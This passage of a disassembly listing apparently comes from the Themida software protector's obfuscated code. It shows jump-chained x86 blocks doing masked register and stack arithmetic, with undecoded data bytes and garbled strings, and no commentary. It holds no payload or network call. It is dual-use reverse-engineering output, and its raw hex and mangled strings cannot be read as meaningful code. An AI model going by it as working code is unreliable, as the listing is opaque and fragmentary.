; ---------------------------------------------------------------------------


loc_553C85:				; CODE XREF: Themida_:0055BCA8j
		shr	ecx, 2
		xor	ecx, 0A522053h
		jmp	loc_55B6B8
; ---------------------------------------------------------------------------


loc_553C93:				; CODE XREF: Themida_:00551F8Aj
		add	dword ptr [esp], 0EED38FEh
		pop	edx
		jmp	loc_550860
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0F28104C4h, 4BEF1C4Ch, 3D4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553CB1:				; CODE XREF: Themida_:00550ECCj
		mov	[esp], ebx
		mov	ebx, 33DD6041h
		mov	ecx, 22D85FEEh
		jmp	loc_553E69
; ---------------------------------------------------------------------------


loc_553CC3:				; CODE XREF: Themida_:00556003j
		xchg	ebx, [esp]
		jmp	loc_5523A3
; ---------------------------------------------------------------------------
byte_553CCB	db 57h			; DATA XREF: Themida_:0054FDA8o
		dd 3807BD55h, 4D45615Fh, 6265BB53h, 0DD090E66h,	0D496E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553CE2:				; CODE XREF: Themida_:00553178j
		push	eax
		mov	eax, 4CBA129Ah
		sub	eax, 26F73CE0h
		xor	eax, 7D872DBBh
		xor	eax, 5845F805h
		add	edi, eax
		pop	eax
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		sub	esp, 4
		jmp	loc_5543CC
; ---------------------------------------------------------------------------
byte_553D15	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FC40o
		dd 4EC8324h, 54243489h,	0E924348Bh, 6CDCh, 832FB151h, 0C8904ECh
		dd 2414F624h, 0E1B25259h, 15E95166h, 0F7FFFFC1h, 27F281DAh
		dd 8147E75Ch, 4ECh, 240C8900h, 0FFC44AE9h, 172868FFh, 0C890000h
		dd 830DE924h, 148B0000h, 4C48124h, 31000000h, 24048BC7h
		dd 3104C483h, 243C8BF8h, 0C19EE953h
		db 2 dup(0FFh)
word_553D7E	dw 34FFh		; DATA XREF: Themida_:0054FD70o
		dd 0EC815824h, 4, 0E9242C89h, 394Fh, 3302C083h,	6FE92404h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553D9B:				; CODE XREF: Themida_:0055A570j
		pop	edx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_55AEA4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522424h, 321Ch, 4EC81h, 74E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553DBB:				; CODE XREF: Themida_:00557060j
		add	eax, edi
		add	eax, 95A4CBCh
		jmp	loc_55A3A6
; ---------------------------------------------------------------------------
		db 51h
		dd 0FC2C97B9h, 6D1EBA0Eh, 31E9228Bh, 8B000007h,	89662424h
		dd 0F66240Ch, 5166C8B6h, 0C029E99Ch, 248BFFFFh,	0BB0F6624h
		dd 0E99C2404h, 0FFFFC01Bh, 5C240C33h, 0FFC710E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553E01:				; CODE XREF: Themida_:005569C2j
		mov	[esp], eax
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_553E09:				; CODE XREF: Themida_:005578D5j
		pop	edx
		sub	eax, 6F995334h
		sub	eax, esi
		push	ecx
		mov	ecx, 1B8F0AA4h
		inc	ecx
		xor	ecx, 1B8C16F5h
		not	ecx
		xor	ecx, 9065B09Bh
		sub	eax, 4BA45F2Bh
		add	eax, ecx
		add	eax, 4BA45F2Bh
		pop	ecx
		mov	esi, [esp]
		jmp	loc_555607
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8904EC83h, 0D1E9242Ch, 87FFFFCBh, 40E9241Ch
		dd 50FFFFD0h, 4BB6A5B4h, 800CE680h, 0CEFEA3CEh,	42CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_553E69:				; CODE XREF: Themida_:00553CBEj
		not	ecx
		inc	ecx
		shr	ecx, 5
		shl	ecx, 2
		xchg	edi, ecx
		dec	edi
		xchg	edi, ecx
		jmp	loc_55395C
; ---------------------------------------------------------------------------
aU8kzsrv	db '╬U8╙zИrv',0
		align 2
		dw 0F828h
aSs		db '[И≤|',0
		align 2


loc_553E8E:				; CODE XREF: Themida_:0054FE97j
		pop	esi
		or	eax, eax
		jz	loc_555FE7
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1Ch
		add	eax, 64B75F3Fh
		add	eax, edi
		sub	eax, 64B75F3Fh
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	445Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, 7C965884h
		add	eax, ebx
		sub	eax, 7C965884h
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	680Ah
		mov	[esp], edx
		jmp	loc_552566
; ---------------------------------------------------------------------------
		db 0B8h, 0D6h, 78h
		dd 0E8C13BAAh, 6ABFE904h, 0E95D0000h, 0FFFFDEE5h
; ---------------------------------------------------------------------------


loc_553F0C:				; CODE XREF: Themida_:00555216j
		pop	edx
		xor	ebp, [esp]
		jmp	loc_54FE61
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 4C681h, 0C6810000h, 4, 0FFECD2E9h, 126025FFh, 0B00D0DD9h
		dd 35274549h, 5EE331FEh, 6A6EE9h, 4EB8100h, 87000000h
		dd 3EE9241Ch
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F4B:				; CODE XREF: Themida_:0055921Fj
		add	ecx, 15DDFC21h
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_551A3D
; ---------------------------------------------------------------------------
		dd 0B582C281h, 0D5899033h, 8324148Bh, 0EE8104C4h, 4B083481h
		dd 0FFBEF4E9h, 241C89FFh, 4EC81h, 14890000h, 68575024h
		dd 2541339h, 41F1E9h, 66536600h, 0E9242C8Bh, 1C82h, 61D6E95Ah
		db 2 dup(0)
word_553F9E	dw 53ACh		; DATA XREF: Themida_:0054FBC4o
		dd 4EC81h, 4890000h, 0E9E1B424h, 0FFFFCB2Ah, 295DEA29h
		dd 0D8295AD0h, 0A3685557h, 8B5FA901h, 0C483242Ch, 0E4BB5304h
		dd 295579C0h, 0EF895BDDh, 0C716E95Dh, 0CA21FFFFh, 0FFFCC3E9h
		dd 24248BFFh, 20A868h, 241C8900h, 316DE9h
		db 0
; ---------------------------------------------------------------------------


loc_553FED:				; CODE XREF: Themida_:0055322Ej
		pop	eax
		add	ebp, edi
		sub	ebp, 3F7940DFh
		pop	edi
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55126E
; ---------------------------------------------------------------------------
aRBiSm		db 'R╨ф{╬b┴пИ▄=',0
		db 0
; ---------------------------------------------------------------------------


loc_554015:				; CODE XREF: Themida_:00553A2Dj
		add	dh, 0D5h
		add	bl, dh
		pop	edx
		jmp	loc_55BBF7
; ---------------------------------------------------------------------------
aZbqljqSQ	db 'Z│О▀╕q©И╩q',0
		align 4
dword_55402C	dd 56D831ADh, 0B8505257h, 1AC50CC2h, 0C62DD8F7h, 896B54A0h
					; DATA XREF: Themida_:0054FC18o
		dd 7706E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554046:				; CODE XREF: Themida_:00558BA6j
		add	esp, 4


loc_55404C:				; CODE XREF: Themida_:00552CC2j
					; Themida_:005569E0j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55AFDA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 40BB5324h, 292FE116h, 5B04245Ch, 40BE5659h, 12FE116h
		dd 348B5EF1h, 10B0E924h, 0ADBA0000h, 0E942693Dh, 5083h
		dd 0D43CB81h, 0EBC1797Ch, 48CB8103h, 810C5E30h,	1905ABCBh
		dd 0EBF38101h, 11FFFF7h, 0DD52E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5540B2:				; CODE XREF: Themida_:0055140Fj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 78631686h
		push	5752h
		mov	[esp], eax
		xchg	edi, [esp]
		push	edi
		not	dword ptr [esp]
		jmp	loc_55BDE5
; ---------------------------------------------------------------------------
		dd 3016E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540DA:				; CODE XREF: Themida_:005558FCj
		mov	ebp, 60DD57FEh
		neg	ebp
		add	ebp, 0DBE485Fh
		sub	ebp, 76B6486Ah
		not	ebp
		inc	ebp
		jmp	loc_550AE4
; ---------------------------------------------------------------------------


loc_5540F5:				; CODE XREF: Themida_:0055304Bj
		xor	ebx, 8DA74885h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558BD3
; ---------------------------------------------------------------------------
word_554116	dw 2DADh		; DATA XREF: Themida_:0054FDB4o
		dd 68E65168h, 0FFD478E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554121:				; CODE XREF: Themida_:00551AB1j
		mov	ecx, 93DCEA78h
		sub	ecx, 56D25EAh
		sub	ecx, ebx
		jmp	loc_557322
; ---------------------------------------------------------------------------
		db 1
		dd 34875DEEh, 0E06E924h, 0E9530000h, 0FFFFF87Bh, 242C3358h
		dd 0E9242C31h, 0FFFFDF9Dh
; ---------------------------------------------------------------------------


loc_554150:				; CODE XREF: Themida_:00558EA6j
		sub	esi, 0A11C41DCh
		sub	edi, 23DD5EE6h
		add	edi, esi
		add	edi, 23DD5EE6h
		pop	esi
		or	edi, 1BF63DE0h
		sub	edi, 51A56FC0h
		add	edi, 1
		sub	edi, 650DA1D7h
		jmp	loc_559FE3
; ---------------------------------------------------------------------------
word_554182	dw 8B66h		; DATA XREF: Themida_:0054FD04o
		dd 89522404h, 4EC83E2h,	57242C89h, 90226ABFh, 0E95D5726h
		dd 24Eh, 0E7CD815Fh, 0E926BD64h, 57FDh,	4C181h,	0F1680000h
		dd 8900004Fh, 74FF240Ch, 55E90424h, 5400005Ch, 2E4DE95Fh
		dd 1580000h, 3E70E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5541CE:				; CODE XREF: Themida_:0055B2B9j
		add	ecx, 4
		push	ecx
		jmp	loc_554BC8
; ---------------------------------------------------------------------------


loc_5541D7:				; CODE XREF: Themida_:00556B5Fj
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_553AF2
; ---------------------------------------------------------------------------
		dw 0C7B8h
		dd 17B3B0Fh, 0E18158C1h, 0FEA65A9h, 7AC98141h, 8152B311h
		dd 4AA89C1h, 59CF89ADh,	62CBE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554216:				; CODE XREF: Themida_:00559ED0j
		mov	[esp], ax
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_55421F:				; CODE XREF: Themida_:005513C2j
		pop	ecx
		jmp	loc_5529C3
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 42474FFh, 24048F5Dh,	0FFE621E9h, 0E95066FFh,	0FFFFE93Bh
		dd 68243C89h, 36A50942h, 0B4DE95Fh, 0CF010000h,	4BE5659h
		dd 81000000h, 0EA00D6C7h, 0DB37E977h, 0F000FFFFh, 24148B66h
		dd 0A4BE9h, 0E9E80000h,	19h
; ---------------------------------------------------------------------------


loc_554270:				; CODE XREF: Themida_:00552EA8j
		push	esi
		mov	esi, 8AD6C46Fh
		sub	ebx, esi
		pop	esi
		sub	eax, ebx
		pop	ebx
		mov	esi, eax
		jmp	loc_55A084
; ---------------------------------------------------------------------------
aS_5		db ']Иа"',0
		dd 4BB35300h, 0F608E3C0h, 80CBFEDBh, 7B049EF3h,	0B652D800h
		dd 5E6C017h, 80DEE680h,	0F68088E6h, 7485E9D9h, 87580000h
		dd 78EBE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5542B6:				; CODE XREF: Themida_:00552DCAj
		sub	edx, 6D62494Dh
		jmp	loc_552D13
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 0BEABF681h, 0F3013A1Fh, 3FD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542D1:				; CODE XREF: Themida_:005564B1j
		mov	[esp], edi
		jmp	loc_5557D1
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 4Fh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5542DF:				; CODE XREF: Themida_:00558D69j
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		jmp	loc_54FF0E
; ---------------------------------------------------------------------------
		dw 8359h
		dd 72E904C2h, 53000019h, 80EEB151h, 0CF888EF1h,	26C78059h
		dd 1D19E9h
		db 0
; ---------------------------------------------------------------------------


loc_554311:				; CODE XREF: Themida_:0055858Dj
		pop	bx
		push	ebx
		mov	bh, 7Ah
		or	dh, bh
		pop	ebx
		inc	dh
		add	dh, 4
		xor	dh, 66h
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		add	bl, 0F6h
		xor	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55AA0F
; ---------------------------------------------------------------------------
dword_55433C	dd 6468h, 23E36800h, 8F540000h,	4832404h, 48F0424h, 7590E924h
					; DATA XREF: Themida_:0054FC10o
		dd 7CB80000h, 0C160E36Bh, 0D8F707E0h, 594D1805h, 5E8C124h
		dd 951C742Dh, 0A5E98105h, 172AE79h, 0A5C181C1h,	5872AE79h
		dd 31AD68h, 0BEEEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554386:				; CODE XREF: Themida_:005599F8j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5549C5
; ---------------------------------------------------------------------------
		dd 8104C483h, 4ECh, 0DE86E900h
		db 2 dup(0FFh)
word_5543A2	dw 8B66h		; DATA XREF: Themida_:0054FCE4o
		dd 35E9240Ch, 81000049h, 4EDh, 4EC8300h, 0FF242C89h, 5D042474h
		dd 8B24048Fh, 14892424h, 0E99C5024h, 0FFFFBA47h
; ---------------------------------------------------------------------------


loc_5543CC:				; CODE XREF: Themida_:00553D10j
		mov	[esp], eax
		push	edx
		mov	dh, 0BCh
		add	dh, 82h
		not	dh
		xor	dh, 0DFh
		xor	dh, 4
		not	dh
		xor	dh, 9Ah
		mov	ah, dh
		pop	edx
		jmp	loc_5518F5
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0C1000000h, 0BA5202EDh, 7C263D41h,	4779EA81h
		dd 96E96545h, 8100003Ch, 0D2AD4EDh, 2C875B1Dh, 24248B24h
		dd 2E74E9h, 7CBD5500h, 8159EB13h, 0CA6052EDh, 0FACD8105h
		dd 81636C44h, 6D4EEFF5h, 0B3ED8146h, 1102A82h, 3C8B5DE8h
		dd 4C48324h, 6B17B12Dh,	55D80118h, 134315BDh, 27BFE946h
		dd 0BCE90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554457:				; CODE XREF: Themida_:00552E7Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5CB65E06h
		inc	ebp
		neg	ebp
		add	ebp, 348249BDh
		sub	ebp, 0C9752DDh
		add	ebp, 5C6F3F5Dh
		jmp	loc_550467
; ---------------------------------------------------------------------------
		db 5Ah,	28h, 0C8h
		dd 0C8285966h, 0C8B2604h, 4C48324h, 4EC81h, 0C890000h
		dd 2A3EE924h, 66530000h, 6601F1BBh, 3129EB81h, 85EB8166h
		dd 66436654h, 0EBF8C381h, 0E9DD8966h, 0FFFFDECAh, 20B76866h
		dd 24148966h, 0E99C5066h, 0FFFFB94Bh
dword_5544C8	dd 0B60F6664h, 4EC8302h, 0FFC913E9h ; DATA XREF: Themida_:0054FB90o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5544D5:				; CODE XREF: Themida_:0055B562j
		sub	edx, 0B04476A1h
		add	eax, edx
		pop	edx
		jmp	loc_5567ED
; ---------------------------------------------------------------------------
		db 58h
		dd 0E904C783h, 799Eh, 0B921E9C3h, 59BDFFFFh, 8937FF1Dh
		dd 0F8015DEFh, 20BB535Fh, 0E9094F16h, 6662h, 0E959CA29h
		dd 4AD8h, 0F22C4EBEh, 4E6C150h,	0C3DBE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55451E:				; CODE XREF: Themida_:005598ABj
		mov	ebp, 7B502AACh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 2E124D6h
		jmp	loc_55935E
; ---------------------------------------------------------------------------
		db 0B8h, 68h, 22h
		dd 0E8C10308h, 59CAE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55453E:				; CODE XREF: Themida_:0055A702j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5559A5
; ---------------------------------------------------------------------------
		dd 4C481h, 1C8B0000h, 7AC4E924h, 835A0000h, 8E902EBh, 56000070h
		dd 0EB0544BEh, 4EEC17Ah, 2D0EE681h, 0E6C17C30h,	1CF75607h
		dd 0C6815E24h, 56017E9Ch, 70EFF681h, 0F2311355h, 8BD6015Eh
		dd 6EE92414h, 81000070h, 0EB7E5BEEh, 5EF5897Bh,	15DE889h
		dd 0FF5358C3h, 5B042474h, 8B24048Fh, 48B2424h, 0E7895724h
		dd 61FDBA52h, 0C2811BA5h, 1F8D2097h, 0FFF77EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5545C1:				; CODE XREF: Themida_:00555B34j
		push	ebp
		mov	ebp, 4
		add	esi, 33276DA4h
		sub	esi, ebp
		sub	esi, 33276DA4h
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	0FFCh
		mov	[esp], edx
		pop	eax
		jmp	loc_553722
; ---------------------------------------------------------------------------


loc_5545EB:				; CODE XREF: Themida_:00552F30j
		and	eax, edi
		jmp	loc_55634B
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0C9Ah, 5B2404FFh, 8103E3C1h,	485984EBh, 8BD801DDh, 0C483241Ch
		dd 2831E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554612:				; CODE XREF: Themida_:005546C7j
		mov	[esp], ebx
		jmp	loc_5574E6
; ---------------------------------------------------------------------------


loc_55461A:				; CODE XREF: Themida_:005538F7j
		and	edi, 6F366417h
		not	edi
		jmp	loc_552A37
; ---------------------------------------------------------------------------


loc_554627:				; CODE XREF: Themida_:005510D1j
		sub	edx, 230E11E1h
		pop	eax
		add	edx, eax
		push	ecx
		mov	ecx, 1F125B6Fh
		jmp	loc_55BAAA
; ---------------------------------------------------------------------------


loc_55463B:				; CODE XREF: Themida_:005521FBj
		push	eax
		mov	eax, 14121E88h
		push	esi
		push	eax
		pop	esi
		jmp	loc_555407
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 0FFFFCAAEh
; ---------------------------------------------------------------------------


loc_554650:				; CODE XREF: Themida_:00555B22j
		mov	[esp], ebx
		push	esi
		mov	esi, 3E13708Bh
		mov	ebx, 0C1EC8F99h
		add	ebx, esi
		pop	esi
		add	ebx, 4B5A0BB9h
		jmp	loc_556277
; ---------------------------------------------------------------------------
		dd 0FFB7A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554671:				; CODE XREF: Themida_:00555853j
		add	eax, 0AAABD5FFh
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	eax, edx
		push	4C35h
		mov	[esp], ebx
		jmp	loc_554698
; ---------------------------------------------------------------------------


loc_554691:				; CODE XREF: Themida_:00551594j
		push	eax
		pop	edi
		jmp	loc_552F95
; ---------------------------------------------------------------------------


loc_554698:				; CODE XREF: Themida_:0055468Cj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5527B3
; ---------------------------------------------------------------------------
		dw 68E9h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5546AB:				; CODE XREF: Themida_:005538A4j
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, ebp
		mov	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_557341
; ---------------------------------------------------------------------------


loc_5546C4:				; CODE XREF: Themida_:00551DABj
		sub	esp, 4
		jmp	loc_554612
; ---------------------------------------------------------------------------
		dd 4C481h, 68560000h, 6EADh, 0E9242489h, 0FFFFD9E8h, 11B068h
		dd 24348900h, 42D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5546ED:				; CODE XREF: Themida_:005511C5j
		sub	edx, 72E2BE13h
		xor	edi, edx
		pop	edx
		mov	edx, edi
		pop	edi
		jmp	loc_54FEFB
; ---------------------------------------------------------------------------
		dw 0F888h
		dd 0F098E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554706:				; CODE XREF: Themida_:005596B5j
		mov	eax, esp
		jmp	loc_550CF0
; ---------------------------------------------------------------------------
		align 2
		dw 2CE8h
		dd 2434FF2Fh, 0FFD37BE9h, 0E9F189FFh, 0FFFFDBD8h, 6DE95257h
		dd 5F000045h, 52E08950h, 5904C8BAh, 7577E906h, 74FF0000h
		dd 8F580424h, 895C2404h, 9C502414h, 59DDE9h, 0E9DD0100h
		dd 0FFFFFCB7h, 0E7E9CA09h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554757:				; CODE XREF: Themida_:00551A11j
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_55A474
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 1B391A02h, 81FA0159h, 0AA2453EAh, 5A028944h,	0FF2434FFh
		dd 48B2434h, 4C48324h, 81E78957h, 4C7h,	4C78300h, 5C243C87h
		dd 117FE9h, 4BDF8700h, 0D7F7DF87h, 0F852E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5547B6:				; CODE XREF: Themida_:00550CA8j
		add	esp, 4
		add	al, 68h
		jmp	loc_551CC4
; ---------------------------------------------------------------------------


loc_5547C0:				; CODE XREF: Themida_:00556346j
		add	ebx, 52FA228Eh
		pop	dword ptr [eax]
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_5547CD:				; CODE XREF: Themida_:00559522j
		push	ecx
		push	24h
		jmp	loc_552539
; ---------------------------------------------------------------------------
		dd 173DB866h, 2EC81h, 83E90000h, 1000073h, 79E95EF5h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5547EF:				; CODE XREF: Themida_:005536E4j
		sub	eax, edi
		pop	edi
		add	eax, ebp
		push	ebp
		mov	ebp, 314102A9h
		add	eax, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 78990252h
		jmp	loc_5568A4
; ---------------------------------------------------------------------------
		dw 4568h
		dd 5E53BD6Fh, 11EBE9h, 0DACB8100h, 817A3F73h, 5DE5B6F3h
		dd 0E9DA01F1h, 0FFFFD87Fh
dword_55482C	dd 240C8B66h, 6099E9h	; DATA XREF: Themida_:0054FC04o
		db 0
; ---------------------------------------------------------------------------


loc_554835:				; CODE XREF: Themida_:0054FE35j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_559065
; ---------------------------------------------------------------------------
		dd 4C7815Fh, 50000000h,	4B8h, 0E9C70100h, 3C1Bh, 0E95AD389h
		dd 0FFFFE1E1h, 6A85C181h, 335E0358h, 0C31240Ch,	240C3324h
		dd 409665Ch, 9CE99C24h,	89FFFFB5h, 241C8BD9h, 555B5453h
		dd 4BDh, 5DEB0100h, 0CD62E956h
		db 2 dup(0FFh)
word_55488E	dw 28Fh			; DATA XREF: Themida_:0054FBF8o
		dd 0FFB57EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554895:				; CODE XREF: Themida_:005574A4j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_556922
; ---------------------------------------------------------------------------
		dd 0B58C229h, 0D5840FC9h, 52FFFFD0h, 0C281E289h, 4, 174FE9h
		dd 24048700h, 83240C8Bh, 0E98104C4h, 0E4F2DF3Bh, 0FFEAE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5548CD:				; CODE XREF: Themida_:0055845Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		sub	ecx, 42B542B5h
		add	ecx, eax
		add	ecx, 42B542B5h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	3BE622F2h
		pop	ebp
		xor	ebp, 14754B76h
		sub	ebp, 48522585h
		xor	ebp, 0E7297FCEh
		mov	ebx, ebp
		jmp	loc_554F23
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Bh, 4C381h, 0EC830000h, 242C8904h, 468h, 2D46E900h
		dd 0E2890000h, 4C281h, 0B9510000h, 46D71C0h, 7653C181h
		dd 0F18165B4h, 6A21E817h, 8759CA29h, 0E95C2414h, 6EE2h
		dd 709FE950h
		db 2 dup(0)
word_554972	dw 8B66h		; DATA XREF: Themida_:0054FBECo
		dd 54552404h, 83242C8Bh, 0BA5204C4h, 4,	535AD501h, 0EC485CBBh
		dd 62B4E97Ch, 0E9520000h, 0FFFFEF7Eh, 8904EC83h, 5B54241Ch
		dd 4C381h, 5E680000h, 89000017h, 4B82404h, 0E9000000h
		dd 0FFFFBD4Ch
; ---------------------------------------------------------------------------


loc_5549B8:				; CODE XREF: Themida_:0055B42Ej
		pop	ebp
		sub	eax, 9563CDC9h
		sub	ebx, eax
		jmp	loc_556131
; ---------------------------------------------------------------------------


loc_5549C5:				; CODE XREF: Themida_:0055438Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558890
; ---------------------------------------------------------------------------
		dw 0CAFEh
aAZsZ		db '─бzИ',8,'Z',0
		align 4


loc_5549D8:				; CODE XREF: Themida_:0055AE1Aj
		pop	esp
		mov	[esp], ecx
		jmp	loc_5566E4
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 77h
		dd 81FFFFCCh, 0D1470C3h, 0BF57556Eh, 69550036h,	525FFD89h
		dd 893E37BAh, 0D2F74215h, 0CA81D2F7h, 21B922F2h, 7BEA8142h
		dd 9CD04E0h, 0E569E9D5h, 4BDFFFFh, 1000000h, 0C6815DEEh
		dd 4, 0E9243487h, 0FFFFE212h
; ---------------------------------------------------------------------------


loc_554A2C:				; CODE XREF: Themida_:00550AFFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_552887
; ---------------------------------------------------------------------------
		db 81h
		dd 0EB04246Ch, 5B481D20h, 2A09E95Dh
		db 2 dup(0)
word_554A52	dw 8B66h		; DATA XREF: Themida_:0054FD7Co
		dd 0A3682404h, 89000077h, 4468243Ch, 8900000Ah,	4832424h
		dd 3C8B0424h, 4C48324h,	4BD55h,	8E90000h, 55000007h, 0D90335BDh
		dd 32C5812Dh, 817CD135h, 177F8CC5h, 0F1F58107h,	0E9B1C1B7h
		dd 0FFFFF69Bh
; ---------------------------------------------------------------------------


loc_554A98:				; CODE XREF: Themida_:005575CAj
		sub	al, 81h
		pop	dx
		push	2C14h
		jmp	loc_555EB5
; ---------------------------------------------------------------------------


loc_554AA6:				; CODE XREF: Themida_:0055870Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5576BC
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 43EB0A42h
		add	dword ptr [esp+4], 308606C2h
		add	[esp+4], ebp
		jmp	loc_559158
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 0B5C7E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554ADA:				; CODE XREF: Themida_:0055A231j
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 7
		jmp	loc_55BEAA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1C892424h, 4EE8BB24h, 0BA5256E7h, 4AC15702h,	76E9D301h
		dd 51FFFFC1h, 510F8AB9h, 0E9CD3101h, 1090h, 81242C8Bh
		dd 4C4h, 24348700h, 6624248Bh, 9C240CFFh, 0FFB2EAE9h, 2474FFFFh
		dd 243C8B04h, 8F04C483h, 248B2404h, 0C8B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 3A955C35h
		jmp	loc_554C4F
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0E987048Fh, 0FFFFB2B7h, 54243489h, 4C6815Eh,	50000000h
		dd 0F5476C68h, 6835583Fh, 13FF547h, 348758C6h, 24248B24h
		dd 0FFD966E9h, 0E95550FFh, 0A73h
dword_554B88	dd 0E932FF66h, 0FFFFB283h, 4C481h, 0BE560000h, 4, 219FE9h
					; DATA XREF: Themida_:0054FCECo
		db 0
